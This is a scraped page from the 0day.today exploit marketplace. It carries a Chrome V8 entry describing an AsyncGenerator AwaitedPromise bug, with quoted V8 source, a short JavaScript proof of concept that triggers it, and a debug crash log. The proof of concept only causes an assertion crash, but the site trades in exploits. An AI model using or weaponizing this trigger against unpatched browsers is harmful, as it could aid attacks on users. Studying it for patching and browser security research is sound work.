0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Chrome V8 JIT - AwaitedPromise Update Bug Exploit
/* Here's a snippet of AsyncGeneratorReturn. (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650) Node* const context = Parameter(Descriptor::kContext); Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req); Node* const promise = Await(context, generator, value, outer_promise, AwaitContext::kLength, init_closure_context, var_on_resolve.value(), var_on_reject.value(), is_caught); CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator)); StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset, promise); The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state. PoC: */ async function* asyncGenerator() { } let gen = asyncGenerator(); gen.return({ get then() { delete this.then; gen.next(); } }); /* Log in debug mode: abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328] ==== JS stack trace ========================================= Security context: 0x2b29083a3a71 <JSObject>#0# 2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) ==== Details ================================================ [2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) { // optimized frame --------- s o u r c e c o d e --------- <No Source> ----------------------------------------- } ==== Key ============================================ #0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject> #1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object> #2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91> ===================== Received signal 4 ILL_ILLOPN 7fb143ae2781 ==== C stack trace =============================== [0x7fb143ae643e] [0x7fb143ae6395] [0x7fb1436ce390] [0x7fb143ae2781] [0x7fb1430f23ae] [0x7fb1430f1ef7] [0x1c8e08204384] [end of stack trace] Illegal instruction */ # 0day.today [2024-12-24] #